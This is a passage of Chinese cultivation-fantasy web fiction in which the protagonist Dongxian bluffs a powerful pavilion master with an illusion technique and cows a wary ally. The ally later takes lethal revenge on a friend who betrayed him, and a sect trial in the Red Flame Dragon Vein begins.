东闲目光一转，落在后面跟来的黑袍遮挡身形与容貌的男人身上，而后收了目光重新看向尤长离，语气辨不清情绪地道：“他背叛了我。”
尤长离道：“因为他知道站在哪一边才是正确的选择。”
东闲道：“为了抓我，需要玲珑阁阁主亲自动手，真是好大的排面。”
听出她话中的讽意，尤长离道：“要怪就怪你拥有的东西不能匹配得上你的实力，我很好奇魔尊为何会放你回到玄清宗，你看起来还想争，我陪你玩玩，陪你玩够了，你才肯与我说实话。”
东闲心下了然，他果然是冲着自己表现的高星宿传承而来，那日一试，还真试出了个黑心的。
不久前喝下的钟乳神浆输送来的灵气充盈着整个身体，这给东闲带来一种现在的她很强的错觉，她生出一种打一架的想法。
不过这种时候打架也是件危险的事，如若她受伤会致使体内的灵气横冲直撞反噬自身，会有境界倒退的后果。
可她还是动手了。
她掐诀施法，周围却是一点变化都不曾有。
而镜花水月已经形成。
尤长离满心注意着东闲，殊不知因为他的轻视敌人，已经落入东闲的圈套之中。
作为镜花水月世界的造物者，东闲可以随意地更改世界规则，利用阴阳二气的规律，降雨、落雪、生风等，甚至在尤长离没有察觉的时候，剥夺他体内的阴阳二气。
她创立的世界与方才所待的环境一模一样，为的是不让敌人第一时间觉察到她用了镜花水月，熟悉的环境会降低敌人的警惕性，从而吃亏陷入她的圈套。
她知道自己的弱势，境界的差距是不可避免的，直接上去打她肯定没有胜算，她所能做到的把局势最大化向她倾倒，要让敌人从轻视到忌惮。
她可以没有匹配的实力，但不能让对方察觉。
尤长离掠出一张黄底黑字符，随着手中符咒的燃尽，周旁也生起熊熊大火，大火有生命般朝东闲涌去。
东闲被火势圈住，却也不急，火龙叫嚣着朝她撕咬而来，却在无限接近时消失，无法伤到东闲分毫。
这是张低级符咒，化解一张低阶符咒的力量对于东闲来说轻松得过分，那日她化解亓沂的冰棱可没有用尽全力。
东闲目前虽然完美掌握了镜花水月，但是境界太低，贸然摄取尤长离的阴阳二气会被他察觉，使用镜花水月一术也有虚张声势的成分在，她要的就是敌人的忌惮。
最起码目前的尤长离肯定看不穿东闲能够化解他的符，是镜花水月在作效，只要他看不穿，他再甩几道火灵符依旧伤不了东闲。
尤长离的确没有看出是镜花水月在作用，并不知道自己步入东闲的世界，他暗自寻思，到底是因为东闲方才的施法，还是她身上还留有什么法宝护身。
尤长离道：“我还有个问题，为何你从鬼煞冢回来，星宿传承会进行变化，明明是星日马的传承却能变成了觜火猴的星宿传承，在你身上难道能够同时出现两种星宿传承？
“想来你也不会愿意告诉我实话，所以，再来。”
他同时再次出手，他为御兽师，修的是御兽一道，契约下的灵兽几头，如今手中结印翻转，一道蓝色阵法凌空形成，一只四阶的水纹豹嘶吼着从中跃出，扑向东闲。
东闲反应极速，掐起遁影术避开了水纹豹的攻击，水纹豹扑了个空，所在之地溅起水花如刃，寒气四处弥漫。
尤长离眉峰再次蹩起，方才东闲闪避的速度飞快，并不是单纯的速度快能够解释。
他唯有的解释是遁影术，只有遁影术才能达到如此极致的速度。
但是，东闲怎么会遁影术。
他越来越好奇东闲身上的秘密。
东闲心想一直躲下去只会被人看出她的无能，镜花水月的特点是真实，她已经成功让敌人没有觉察到他进入了她的世界。
尤长离原本以玩乐心态逗她，没有使出全力，放出四阶水纹豹证明他开始正视这场较量，而东闲不会给他使出全力的机会。
或者说她本意也不是想跟尤长离较量。
水纹豹不给东闲喘息的机会，调转方向对准东闲再度凌空一跃，随之身侧生起水柱道道，裹挟着淬灵境的修士无法承受的破坏之力。
她掐诀生术，继遁影术和镜花水月后又一道绝学，名为金刚绝迹拳。
她凌空挥拳，纵是有时原地屹然不动，离那水纹豹有数丈之远，而金色刚拳招招落在水纹豹上。
水纹豹想要扑到她的身上，可惜因为东闲的速度不断在变化，快到残影无法捕捉，它每每扑了个空，生起了遍地的水花，又因那拳法总是能落在它身上，而发出道道吼叫之声。
拳法刚烈，尤对头部“情有独钟”，打得那水纹豹晕头转向，使得那水纹豹怒不可遏，誓要讲东闲撕得粉碎。
尤长离神色一变，他不会认错东闲的术法，正是认出那是属于佛家的道法，而吃惊叫道：“你怎么会金刚绝迹拳，难道是妙绝那魔头把金刚绝迹拳传授于你？”
这拳法还没显露真正的威力，他便已经识出那是金刚绝迹拳。
只有那净觉寺叛出入魔的妙绝才能使得出的金刚绝迹拳，数拳落下，不见踪迹，哪怕相隔数里远，拳头也能精准落在敌人的身上。
他复而低喃道：“不，这不对，你是慕婉思，怎么可能跟佛家扯上联系，可你若是在鬼煞冢遇到她，也有可能，那也不对，魔尊不是放弃你了吗，你怎么可能还会得到伽罗的真传？”
东闲听见了尤长离的低吟。
贪狼星君只传她百道秘法绝学，从未告诉她这些传承来自何家，她使用只是随性而用，如今听尤长离所言与其表现，看来这
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主人的身份误打误撞居然与魔尊扯上联系。
尤长离本就因为魔尊的不重视才想对她出手的。
东闲见那水纹豹暂且没再对她动手，知道是个机会，道：“这个东西你应当比我熟悉。”
她摊开一只手掌心，尤长离瞪眼看去，因为不敢相信他又往前几步。
只见东闲摊的掌心下，原本的红痣转瞬扩散成神秘古老的符文，一直蔓延至脖颈，脖颈下的阴影遮住了那黑色的暗纹。
但是不需要看到完整的符文，尤长离只要窥见那手上的符文，近乎已经明白了。
水纹豹感应到主人此刻的心情，尽管内心一腔怒火未得发泄，也没有再对东闲出手。
尤长离看了半晌，才肯把目光从手上的符文转移到东闲的脸上，符文还在，东闲的双眸覆上一层暗红。
他如鲠在喉，半天才憋出一句：“那是魔尊？”
缠上半边身子的符文消去缩回为掌心红痣，东闲眼眸上的暗红也随之消失。
是魔尊出面了。
尤长离以为魔尊一点都不重视东闲，既如此他才打上剥夺东闲星宿传承的主意，可曾想过狂妄自大的魔尊会出面保一个堪堪淬灵境的废物。
他心下生起诸多念头，唯有一个念头愈加清醒，那便是东闲不能动。
却不曾料到，魔尊最初确实没有在意过东闲的生死。
自负的它，知道尤长离会对东闲下手，纵使尤长离会剥夺了东闲体中的朝天圣果，也定然乖乖奉给它。
让它出面的，是因为东闲告诉了它迷蝶入梦的事，给了它危机。
如若东闲盗取朝天圣果一事被发现，玄清宗和朝天宫都会来抓她，玲珑阁是没有办法直面与玄清宗和朝天宫对抗，那么朝天圣果必将不会落到被封印在鬼煞冢的魔尊手上。
魔尊方才出现，本意是想让尤长离保东闲不被那些人先一步得手，但是如今却成了东闲向尤长离证明她被魔尊保住的证据。
东闲仗着魔尊不能开口说话，又不在现场，语气那叫个肯定。
“你不是想知道魔尊为什么会留我一命吗，因为它根本不会杀我。”
她在此刻撒了个小谎，魔尊不是不会杀她，只是在拿到朝天圣果前，它不允许东闲死在任何人手中，从而使得朝天圣果与它失之交臂。
尤长离便是听成了字面意思，他心下震惊，难道这一切都是在魔尊的默许下进行的，魔尊为何要这样做，是对他的不满意吗。
这一刻他才明白东闲的倚仗。
他所要做的，是尽可能表忠心，拉拢他的新伙伴。
“玲珑阁随时为你敞开大门，这是玲珑阁的象征，有了它，你日后的行动会更加方便。”
尤长离掏出一个骨哨，递给东闲。
东闲接过骨哨，心中在琢磨玲珑阁与魔尊的关系，对方是在自己表现出与魔尊很好的关系，才主动把骨哨交给她，玲珑阁与魔定然有着密切的关系。
看在谁的面上又如何，她的目的达成了。
尤长离绝对不会想到，这也是在东闲的计划中的一环，为的是能得到玲珑阁的信任。
她带着令人难以琢磨透的笑，道：“好啊。”
尤长离带人离开，东闲目光偏离，落在一旁的黑袍男子。
男人一直没走，蹲在一旁，尤长离带人走时都忘记男人还留在这了。
东闲把玩着骨哨，漫不经心地道：“你今天一定有很多感想吧。”
黑袍下的嘴唇蠕动，却在下一刻发出一声急促的短呼。
不知何时，那由水纹豹带来的水柱化成长剑，竟指向了他的背后，穿透他的身体，胸前瞬时上了大片染红的血迹。
一时间呼吸忘却，心也顿住，好似死了一息。
境界的差距带来的优越，被现实这盆冷水浇灭。
莫吟洲仅一个强烈的想法，东闲可能就没想过要逃，今日的一架是东闲故意打给他看的，他也是东闲的敌人。
他对上那双眼眸，原来她的眼底还残留一抹猩红。
53.第 53 章
冰棱没有刺中他的要害，带来的威慑却使他死了一回。
他也该死了一回，毫无征兆的杀招再偏离一点，就该是他内丹破碎的场面。
鲜血缓缓流淌，浸透了水剑，浸湿了胸前，这些红都不及东闲眼底的红。
东闲在告诉他她有的办法是杀他，即便她才是淬灵境的修士，一个让人下意识忽视不会在意的存在。
莫吟洲是曾轻视过东闲，也因此动过强抢解药的心思，而东闲以一种简单粗暴的方式打消了他的念头。
如今回想东闲让他做的一系列事，以及方才她宁愿孤身与尤长离对峙也不曾让他出手偷袭，可见东闲从未相信过他，尽管他的解药还掌握在东闲手中。
现下，摆在莫吟洲眼前的只有两条路，一是献忠心，二是逃。
他的性子绝不是愿意委身于人下的那种，不过他也不算是坚贞不屈、宁死不从之人，如若东闲真的很强，他还是会为了小命忍忍的。
毕竟东闲至少掌握三种秘法绝学且是疑似身负两种星宿传承的人。
他其实也挺好奇东闲身上的秘密，多种不可能的事在一个人身上发生，这便成了一种诡异。
莫吟洲说服了自己，咸鱼摆烂似的接受了自己目前的处境，反正再差也不会比现在更差。
他没直接回答，东闲已经从他不断变化的神色明白了他的意思。
贯穿莫吟洲身体的水剑噗嗤一声被外力拔出，莫吟洲受惯力双腿扑通跪在地上，身前的血窟窿哗哗地流血，止也止不住。
莫吟洲原本好不容易稍微能忍受点这穿身的疼痛，结果被东闲控制水剑的拔出，痛感被无数倍放大，他满脸惨白，额头汗水密布，感觉死亡的痛苦也不亚于现在了。
痛得莫吟洲想骂一句脏话，可惜他没什么力说话。
东闲按住莫吟洲的手腕，很快止住了对方胸腔出的血，惹得对方惊异地看向她。
东闲感觉遗憾地道：“你我间好像没什么信任。”
莫吟洲心说你都背后拿水剑捅我，捅得我胸前流了好大一摊血，你还想让我装看不见，就算看不见我也痛死了。
但他没这么说，他保持沉默，接过了东闲给的药，毫不犹豫地吞下入腹。
他在想，东闲身上的谜团越来越大了，她不仅是个剑修，还阵丹双修，如今又会治疗，这说明她对于药道也有一定了解。
莫吟洲觉得自己越多了解东闲一分越能感受到她的恐怖，同样的，他觉得自己的小命更加难保，依照东闲这般疑心的人，她真的会容忍得了自己活着吗。
他突然僵住身子维持刚吞药的动作不动了，因为他觉得自己把药吞下去的动作太过草率。
东闲禁不住笑了。
“我说过我舍不得你死，在把你的价值榨干之前不会对你出手，何故这般害怕。”
莫吟洲硬巴巴地道：“我没有害怕。”
东闲没再说什么，道：“你走吧，好好养伤。”
莫吟洲巴不得想立刻离开，他已然不敢把东闲与淬灵境三个字相联系，她身上叠加的秘密使得她无比恐怖。
东闲让莫吟洲先离开，她确定莫吟洲走掉了，镜花水月才彻底破碎。
她已能确定，不论是尤长离还是莫吟洲他们都没能发现她构造的虚假世界，这说明她的确精确掌控了镜花水月这一能力，因境界不够，她还无法借用镜花水月杀人，在出其不意的情况下镜花水月可作她的后招。
打这一架，的确是有想试探极限的用途在，她发现境界是硬伤，她跟四阶的水纹豹打胜算不大，或许用出所有的秘法绝学可以反败为胜，可惜没有试用的机会。
今日一举得了玲珑阁的信任，又震慑了莫吟洲，看似收效颇丰，实则并不能让东闲满意。
因为她换出去了她的秘密。
尤长离和莫吟洲皆知她的秘密，这二人不会真正且永远地服从于她，她必须要让这二人守口如瓶，尤其是尤长离。
可惜依她目前的力量那是天方夜谭。
方才能杀莫吟洲，其实连她都没有十足把握，能成功完全是因为对方不知道镜花水月的存在，从而放松警惕，下一次她可没办法这样用了。
东闲暂且把此事放在一边，短期来看，他们二人不会对她动手，待她另寻机会处理二人。
现在的她需要压制境界不能升境，那么意味着接下来她不能吸收灵气，并且要主动压制境界不让她升境，好在境界低下，压制境界一事也不会困难。
尤长离暂时不会怀疑她的身份，玉佩之所以能让尤长离信服，是因为它最初在魔的另一员大将玉的手上，不知何原因，这枚玉佩与玉解绑落到燕老鬼手上，东闲知道这枚玉佩的来历时，她已经杀了燕老鬼。
东闲还打听过有关鬼煞冢内魔尊的事，它在封印当中无法与外界沟通交流，魔尊目前只能靠着玉佩跟她正常沟通。
所以尤长离将有一段时间不能看破她的谎言。
现在钟乳神浆已经得手，玲珑阁的危机暂时得到解除，东闲决定回到玄清宗，约定的时间要到了，她需要尽快赶去无双峰。
她回到无双峰这一路很顺利，在此之前她先撤走了弟子居内假扮她的傀儡，等她抵达无双峰峰顶时，彼时三人已经在亭中等她。
她们的声音没有太遮掩，东闲隐约听见了她们正在争吵着什么。
月华长老态度坚决地道：“她的识海受损不能动，不然她会废了的。”
连筝言语不善地道：“前脚华尚放入白蝶，后脚她便识海受损，巧得很。”
月华长老神色也不好看，道：“她是听了我的担忧才去给亓沂送糕点，你要怪就怪我，教了一个滥好心的徒弟，又教了一个性子孤僻不服管教的徒弟。
“但你想伤我的弟子，我不同意，而且她是朝阳的女儿，你执意这样做我没办法向朝阳交代，朝阳视女如命，若是因此伤了和气不好。”
连筝道：“你不能见到一个好苗子就没底线保她，她是不是朝阳的女儿还不一定。”
华尚出声打断她们，“好了，都别吵了，小月亮别生气，我们怎么会怪你，阿筝你怎么总是想着针对一个小姑娘，我这些日子打听过了，她可与那窃贼无关，跟偷看你功法的人也无关。”
她余光瞥见东闲来了，笑眯眯地道：“你来了，你的识海恢复得如何？”
东闲如实回道：“师姐说了，还需要休养一段时日。”
华尚担忧地道：“她都这样说了，看来是很严重，同门师姐妹下手怎会如此不知轻重，伤到你的识海，我今日可没法帮你了。”
连筝道：“你帮她本是她的福气
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，你向来不会出手，她合该感激你，左右不过是伤到识海，日后再养不是一样。”
华尚道：“我只差最后一步，能帮你恢复所有的记忆，只是可能会伤到你的魂识，如若你不愿记起，其实这记忆也并非有记起来的必要。”
东闲则道：“华姐姐帮我，我已是感激不尽，全听华姐姐的安排。”
华尚笑而不语，目光转向了连筝。
连筝脸色难看，这一举弄得她里外不是人了，好似她有意欺负一个小姑娘，她心想自己真的认错人不成。
正是因为觉得自己的确有欺负小姑娘的嫌疑，连筝别开脸道：“你的记忆又不急于一时恢复，等你的识海修复再来。”
月华长老闻言没忍住带笑，对着东闲道：“你这些日子好好养伤，亓沂那里我会说的，日后少去接触她。”
东闲应是，听话地离开，她方走了几步，华尚便追了上去。
华尚道：“明日我们就要离开玄清宗，过些时日我们会再来玄清宗看你，届时你的魂识若还不得修复，我会帮你的。”
东闲很是感激地道谢，在华尚的微笑下离开。
转过身东闲便敛去笑意，若非是她的错觉，这位看似善解人意温和体贴的华姐姐可能要比连筝还要难对付。
但东闲也不在意，只要避过暂时的风头，日后的事日后再议，而她们想再来玄清宗找她，恐怕她早就离开了。
她一路往回走，照常这种时候她该去修炼，但现在不同，接下来的一个月她都不能修炼，不然刚喝下的钟乳神浆会压制不住而导致升境。
为了掩盖她升境太快的秘密，她打算去一次内门弟子每年都需要考核的试炼，恰好安泛泛为修复她魂识用的药的成分，有一味叫玉髓灵的材料唯有秘境中有。
在秘境中得了机遇而升境绝不会让人感到异常。
她低眼看着掌心的红痣，脑海中回忆起昨日与魔尊的对话。
魔尊并未重视过东闲，它并不在意东闲的生死，能让它在意的是东闲身上的朝天圣果。
这颗朝天圣果是福也是祸，改变了她的体质助她修炼，却也让她受人追杀。
朝天圣果与她的命相融，她不会让任何人拿到朝天圣果，即便没有与她的命挂钩，她同样不会放弃朝天圣果，不能让她修炼就如同要她死。
如今她已经认玉佩为主，无法与魔尊解绑，这是个麻烦。
现在的她，在魔尊眼里，只有那颗朝天圣果。
因为实力弱小，魔尊都懒得用她。
她需得尽快强大，解除自己与魔尊的捆绑。
东闲本想往藏书阁去，蓦地，藏在胸前的听音螺那里传来温度，想来对方起码传音三次，才使得听音螺发热。
莫吟洲好端端的传音干嘛。
东闲绕道走入小径，此刻四下无人，她握住听音螺准备通讯，另一端传来一道陌生的声音。
“哼，你可算是舍得接了，若不赶快交出初生香，你亲爱的弟弟小命可就不保了。”
她心下明了，莫吟洲现在麻烦上身，给他带来麻烦的人误把她当成莫吟洲的兄长，想要从她这以初生香换莫吟洲的生路。
她似是想到什么有趣的事情，压着笑意，道：“你若是信得过我，你现在最好跑，离我‘亲爱的弟弟’越远越好。”
54.第 54 章
莫吟洲毫不犹豫地离开，速度几乎可媲美掐起御风术时的速度。
东闲的威慑无疑是有用的，他确实打消了强抢解药的心思，想到自己的小命还被东闲攥在手中，他便暗叹自己的倒霉。
最初来到玲珑阁，是得了有关初生香拍卖的消息，他设计与兄长的人里应外合从而替兄长拿到初生香，怎想到半路杀出了个东闲，一上来就看穿他的伪装，趁他虚弱之时逼他服毒。
对方进展顺利得都快让莫吟洲怀疑，东闲是不是早就盯上他了。
莫吟洲想过东闲的目标是不是跟他一样，因为她身负两种星宿传承，这件事是令人匪夷所思无法相信的，他最初觉得是东闲的星日马传承被剥夺了，另得了觜火猴的星宿传承，可事实上东闲就是有两个星宿传承在身。
到现在为止，东闲除了让他备些灵石外，再没从他这拿走任何一样东西，好像根本不知道他那日出现在玲珑阁是为了什么。
这样说不准确，应当是，东闲压根不在意他做了什么。
莫吟洲烦躁地抓了把头，成功将梳拢好的头发毛躁起来。
他正郁闷着，一只青鸟自然而然地停在他的左肩上，他伸手过去，让青鸟停在他的手指上，世上传音的方式有千千万万种，这只青鸟也能传音。
像玄清宗弟子们会用的信鹤传音是种法术，只能在小范围内使用，他与东闲传音的媒介听音螺，需要双方都要一手紧握听音螺才能正常传音。
而这只青鸟是被下了传音符，在它的两翼下隐藏着传音符的咒文，方才在它振翅飞来时，莫吟洲注意到青鸟的两翼下时隐时现的咒文。
青鸟张嘴吐出的便是人言。
“你到哪了，我怎么还没有看到你？”
听到声音中熟悉的活力，莫吟洲不免被其感染，一身的丧劲得以驱散。
莫吟洲语气轻松起来，“我已经赶到西边的湖心亭，再给我些时间，我就要来了。”
青鸟再度张口：“我已经叫人重新上了菜，在天香斋等你。”
莫吟洲收拾好情绪，想到方才自己抓头的行为，定然是弄乱了头发，遂把长发拆散，重新编制成三股甩到后面，而后掐起御风术朝友人口中的天香斋赶去。
酒席上，他与友人诉说衷肠，两人从天南说到地北，许久不曾见面，恨不得把这段时间的空补都一口气说尽，以至于桌上的饭菜动都未动，又凉了。
莫吟洲闷下一口酒，如此问道：“许久不见，你怎么突然想找我喝酒来了？我记得你跟我说过，你这段时间很忙。”
入喉的酒香辣得让人忍不住贪杯，他已闷下三碗酒，觉得酒香醉人，眼前迷蒙，他向来酒量好，头一回体会了酒醉的感受。
友人的声音倏地变化，再无往日的熟悉，甚至有些陌生。
“初生香被你拿走了对吧？”
他迷迷瞪瞪地道：“初生香……这酒竟如此烈。”
“你忘了吗莫吟洲，你的酒量一直很好。”
回应友人的是对面倒下发出的“砰”声。
友人顾嗣拍了莫吟洲几下都不见他醒来，彻底放下心来。
顾嗣推开门，向着外面人招招手，叫道：“成了。”
先进来的猴子脸男人抓住莫吟洲的长辫往后一扯，看清了脸，嫌弃地道：“这就是你说的计划？初生香又不在他身上，这个时候早该落到莫连理身上了。”
另一个满脸红胀的胖子道：“我们给的时间也够久了，这么久的时间你就想出这么个狗屁不通的计划，我看你也没有活的必要。”
顾嗣紧忙道：“你们先听我说，莫吟洲身上没有初生香，但是他兄长有啊。”
猴子脸不屑道：“你该不会以为莫连理会为了他把初生香交出来，他本就是莫家捡来的一条狗，当初莫家把他赶出来的时候，可没人为他说句好话，你指着一条狗的命能卖几文钱。”
顾嗣则道：“他为他兄长那般卖命，纵算是莫连理再心硬如铁，不惦记那点兄弟情谊，也不会舍得废了这把好刀。
“再者，初生香现在也该落到莫连理的手上，我们除了搏一搏也没机会了。”
说到后面的话，他打量着二人的神色，若这二人不乐意，他逼也得逼得这二人愿意。
初生香，尤对身负他人星宿传承的修士有效，能够消除排异效果，亦有坚实骨髓、悦泽肌肤之效。
因这初生香百利无害，产量稀少，出现便能涌起争抢，这二人不知得了哪来的消息，竟知道莫吟洲抢来了初生香，便抓了莫吟洲的好友顾嗣，意图借顾嗣之力让莫吟洲把初生香交出来。
顾嗣原没想打莫吟洲的注意，从二人口中得知他有初生香在手，难免生了歪心思。
剥夺星宿传承这等肮脏事虽为人不耻，可发生的数量只多不少，甚至因此衍生出一条灰暗的产业链，只是用上他人的星宿传承，会因此产生排异效果，若不及时解除效果，会导致星宿传承废掉，于是就由此再度衍生一条产业链。
初生香是其中一种刚需品，顾嗣便是看中了它背后的利益，才打上莫吟洲的主意。
他既已经做到这个地步上，与莫吟洲算是彻底撕破脸面，怎能还容许事情失败。
红胖子粗声粗气地道：“就按你说的来。
顾嗣旋即带笑，叫道：“我来背人，这点苦力我来干就好。”
在初生香到手前，他不介意再装一装。
当莫吟洲醒来时，发现身上有很强烈的束缚感，睁眼一看，原来是被缚仙绳捆着了，再看向周围，两个陌生的面孔和一道熟悉的面孔，他便知晓梦中的噩梦是真实地发生了。
三个人注意到他已经恢复清醒，不甚在意，因为莫吟洲身上的缚仙绳还在，而且他不擅打斗，与他接触的人皆说他实力一般，不足为惧。
莫吟洲不甘地问道：“顾嗣，你可曾记得你我义结金兰，可曾能道出你向天地发出的誓言，可还认我这个兄弟？”
顾嗣被他一连串的发问震动心神，他目光躲闪，试图辩解：“你不要怪我，都是他们逼我的，我想活着，我只能这样做，你是我的朋友你应当会理解我的。”
莫吟洲看着那张脸越看越生厌，心里同时生起一阵怒火，几乎要把他灼烧至死。
他不明白，为何他总是真心待人，却鲜少得到他人的真心。
他好像一直都不能被真心对待。
猴子脸道：“你管他干什么，让你做的事做了没。”
顾嗣不敢直视莫吟洲的双目，又听猴子脸的话，背身握住了听音螺。
顾嗣顺走了莫吟洲身上的听音螺，误将这枚听音螺认为是莫吟洲与他兄长联系的传音法宝。
他手握听音螺三次，都不得对方回答，心下暗骂这莫吟洲莫不是真的在莫连理那是个弃子。
握住第三次的时候，终于传来了声音，然而并非是他兄长的声音，是一个女声。
还不待他纳闷另一边为什么传来的是女声，危险的气息从身后倾泻开来。
顾嗣被吓得张大了嘴，已经顾不得问莫吟洲何时挣破了缚仙绳的束缚，因为眼前发生的事情叫他整颗心都要跳出来。
他发出声惊叫：“你竟是丹青客？！”
只见那原本被束缚住手脚的人，破开了缚仙绳的控制，手持一张不凡的画轴和一只通身黑金的笔。
画轴为“万象墨图”，笔为“点睛”。
单瞧那标志性的画轴和笔，顾嗣就已经认出那是传闻中的丹青客。
这丹青客此生最厌背叛他辜负他真心之人，所有背叛他的，都会被他亲手斩除。
想到这一层，顾嗣已觉得自己在莫吟洲那是尸体一具。
“吟洲，你听我说，这二人说了只要抓到你就能放我活命，我迫不得已暂且应下，想着另寻机会把你救出来，方才我拿你的听音螺就是想要与你的兄长通讯，让你的兄长来救你回去。”
顾嗣说得声泪俱下，企图如此来换回莫吟洲的不忍。
至少看在多年的情谊放过他，他也不是真心想杀
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他，他只是一时鬼迷心窍，他没想过要害莫吟洲的命。
可惜此刻的莫吟洲只认定一个理——顾嗣背叛了他，顾嗣就该死。
莫吟洲摊开画轴，此画轴乃是圣阶法器，至今被卷入画中的人，没有一个能够活着出来，可以说只要进入他的画轴的人，都须得死，他同时把另外二人也卷了进去，没有放走任何一个。
那二人原本见事态不对，转身欲逃，却也不幸被卷入画中。
三人在画中累受折磨，惨叫声自画轴中传出。
莫吟洲的声音充满愤恨与讥刺，且因声量的抬高直震人心。
“就凭他们二人的本事能威胁得到你？你难道就没有藏私吗。”
画轴内的声音缓又低了下来，顾嗣的求饶也逐渐小了下去很快奄奄一息，听不见任何声音，莫吟洲的问题也就没有人再来回答。
而他已经得到了回答。
他的神色沉冷得可怕，若说东闲给他带来的是死亡的恐惧，顾嗣带来的便是他的憎恶与毁灭欲。
画轴消化完毕，把三人的尸首吐了出来，连带着被顾嗣握着的听音螺一同丢出来。
莫吟洲捡起听音螺，听到里面传来的声音。
“虽然没有办法亲眼目睹，但我知道一定很精彩。”
莫吟洲不发一言，东闲自觉无趣，主动中断了通讯。
他看了眼顾嗣的尸体，回忆着顾嗣的话，不禁一手按在胸前的储物袋上，方才顾嗣说过要找他兄长来换他命的。
兄长得知他出事，会为了他放弃吗。
他随即唾弃自己，他与兄长的情谊怎能由他如此揣测，自被莫家抛弃后，唯有兄长暗中接济他。
但是他没能忍住发出了通讯，这个时候他急需有一个可以依靠的人在身侧，而这个人选唯有兄长。
于是听音螺的声音传到千万里外，正在泡灵泉的男人耳中。
升腾的热气中，隐约可见一个赤裸着上半身靠在边上的男人，手握听音螺对话。
莫连理眉间尽是不耐烦的情绪，话语却是让对面的青年眷恋的温柔与关切。
屏风后站立的下属若是能看见也不觉得怪，只要是那个养子，少爷都是这副面孔待他。
应付完莫吟洲，莫连理把听音螺放在一侧，无非又是说一些无用恶心的关切。
他没有告诉莫吟洲，初生香已经丢了的事。
原本借莫吟洲之手拿到了初生香，只待他派出去的下属将初生香送来便好，结果两人莫名其妙扭打一起，快要到手的初生香也被一个女人拿走。
唯二的讯息是，女人要去幽云城，二人接近女人就会生起莫名的憎恶的情绪。
而且女人心思恶毒，这二人自相残杀似乎是因她而起。
莫连理很想把这女人揪出来，把初生香拿回来，可现在是一点消息都没有。
他原本的星宿传承天赋太低，导致他这辈子最多止步于炼心境，为了修仙道路顺畅，他只能换上他人的星宿传承，由于排异效果，他必须得到初生香。
想到这，他突然地心悸，知道是排异效果又开始了，他已经拖了数日不能再拖，只得咬牙道：“把焕新膏拿来。”
屏风后的人立即把焕新膏奉上。
莫连理痛得全身痉挛，拿到了焕新膏，如溺水的人抓住了唯一的浮木，立刻涂抹在眉心，这一口有如良药，全身疼痛都没有，他的面上浮现餍足之色。
他舍不得身上这副星宿传承，且不说这副高星宿传承稀少难寻，能够找到适配他莫家雷法的星宿传承更是难中难。
焕新香膏亦能够减少替换星宿传承带来的排异效果，都是需要长期服用的东西，只不过比起初生香，焕新膏会让人上瘾，且对身体有害，会使人失去理智而发狂，传闻这焕新香膏的用料之一是为魔提供。
莫连理忍住想要再抹一点的冲动，怒骂道：“难道我一辈子都要依靠焕新膏修仙吗，该死的，这个女人到底是谁，怡红院的帖子给我接了，我要让她死在幽云城。”
55.第 55 章
这段时间过得很快，转瞬试炼就要开启。
朝天宫的连筝和华尚已经离去，鸦昤提前结束了在玄清宗的修行，据说已经回到不夜天去了，东闲没能见到她最后一面，但是收到了她的炉鼎和礼物。
这段时日东闲除了正常上课外，便是去藏书阁充实自己，她也暂时断了与莫吟洲的联系。
东闲原可以不必参加今年的试炼，这是宗门看在东闲在鬼煞冢受过重创的份上而允诺的。
东闲想要恢复识海，需要得到来自赤焰龙脉的玉髓灵的伴生物，而这点可以委托参加赤焰龙脉的弟子帮她拿到玉髓灵，所以她本不必亲自去。
但东闲想去。
虽然安泛泛极力劝阻东闲不要参加试炼，但东闲想去。
她最终没有听劝硬是参加了赤焰龙脉。
因此，二人差点闹翻，好在东闲哄人的本事一绝，安泛泛臭着脸妥协，把她自己往年要去的极寒雪川改为赤焰龙脉，说是要陪东闲一起去，看着她才行。
赤焰龙脉的难度高于极寒雪川，各种试炼没有限制境界门槛，只有达到凝元境的弟子才会参加赤焰龙脉这种条件已是约定俗成。
师姐真的非常担心她。
东闲压着笑意，未免表现莫名的笑意惹得周旁弟子侧目。
她摸索着中指凸起的硬物，正排队领她的玉牌，进入试炼前，每个弟子都要领一个玉牌，若是中途出了状况想要退出，只要施展灵力击碎玉牌，玉牌便会碎裂将使用者送出赤焰龙脉。
东闲握住玉牌轻轻感受一下，没想到玉牌轻而易举地发出声响然后碎了。
东闲感觉到自己的身形微微一晃，眼前的景象变成黑暗，然后自己还是出现在原地。
掌心握着的是玉牌碎片。
她对着玉牌碎片若有所思，原来击碎玉牌很容易，那就是说，若是想把他人赶出赤焰龙脉也是很容易。
试炼中得到的东西不一定全都要上交给宗门，弟子如若能完成试炼的考核要求，那么多余的东西可以自行选择留下或者交给宗门。
赤焰龙脉内有不少玄天秘宝在，弟子们之间会为了宝贝大打出手，通关击碎对方的玉牌让对方强行离开赤焰龙脉的方式，可以减少不必要的打斗。
东闲处理了玉牌碎片，重新排队，分发玉牌的师姐没有注意这个有些熟悉的面孔，将玉牌交与她，便继续分发给后面的弟子。
东闲看向传送台，那里站着的是扬言绝不会早到并叮嘱她不许迟到的安泛泛，然而此时距离传送阵开启还有一炷香时间。
东闲有点压不住笑了。
已经拿到玉牌的安泛泛在人群中找她，她身后的传送阵时而亮时而灭，送走了一批又一批弟子，不知等了多久。
赤焰龙脉的试炼即将开启，只要站在传送阵内，就能瞬息被送到试炼场地。
安泛泛在人群中观望许久都没能瞧见东闲的身影。
早知道就不来这么早了。
正当安泛泛懊恼时，一声“师姐”牵走她的心弦。
听到这声熟悉的师姐，安泛泛立刻转身看去，上前想要说什么，却被另一个弟子给拦住去路。
有弟子瞧见了是安泛泛，不由得出声打趣道：“安师姐，极寒雪川的试炼还没有开，你是不是来错了。”
安泛泛没好气道：“我能不知道极寒雪川与赤焰龙脉的区别吗。”
一个极寒之地，一个极炎之地，她又不是傻子区分不清，这个人是故意让她在东闲面前丢脸的吧。
安泛泛没给他说话的机会，拉着东闲往另一边去。
安泛泛冷着脸故作凶狠道：“先说好了，我们拿完玉髓灵就走，你休想节外生枝，不然我先弄废你。”
而东闲只能联想到她在蓝星时会存在的气呼呼的小仓鼠，那是怎么瞧都是藏不住的可爱。
来赤焰龙脉的弟子不会只是为了应付考核，其中的宝物是诱使他们来到赤焰龙脉的最大原因。
东闲不想空手而归，她会好好把握这次试炼的机会。
进去后要怎么做，东闲不会乖乖听话，当然，表面的功夫还得做一做。
东闲别过脸，努力收着笑意，道：“都听师姐的。”
两人上了传送阵，传送阵不一会启动，转瞬就将她们送到赤焰龙脉。
赤焰龙脉之所以被称为赤焰龙脉，是因为从上空来看，整个区域像一条巨龙。
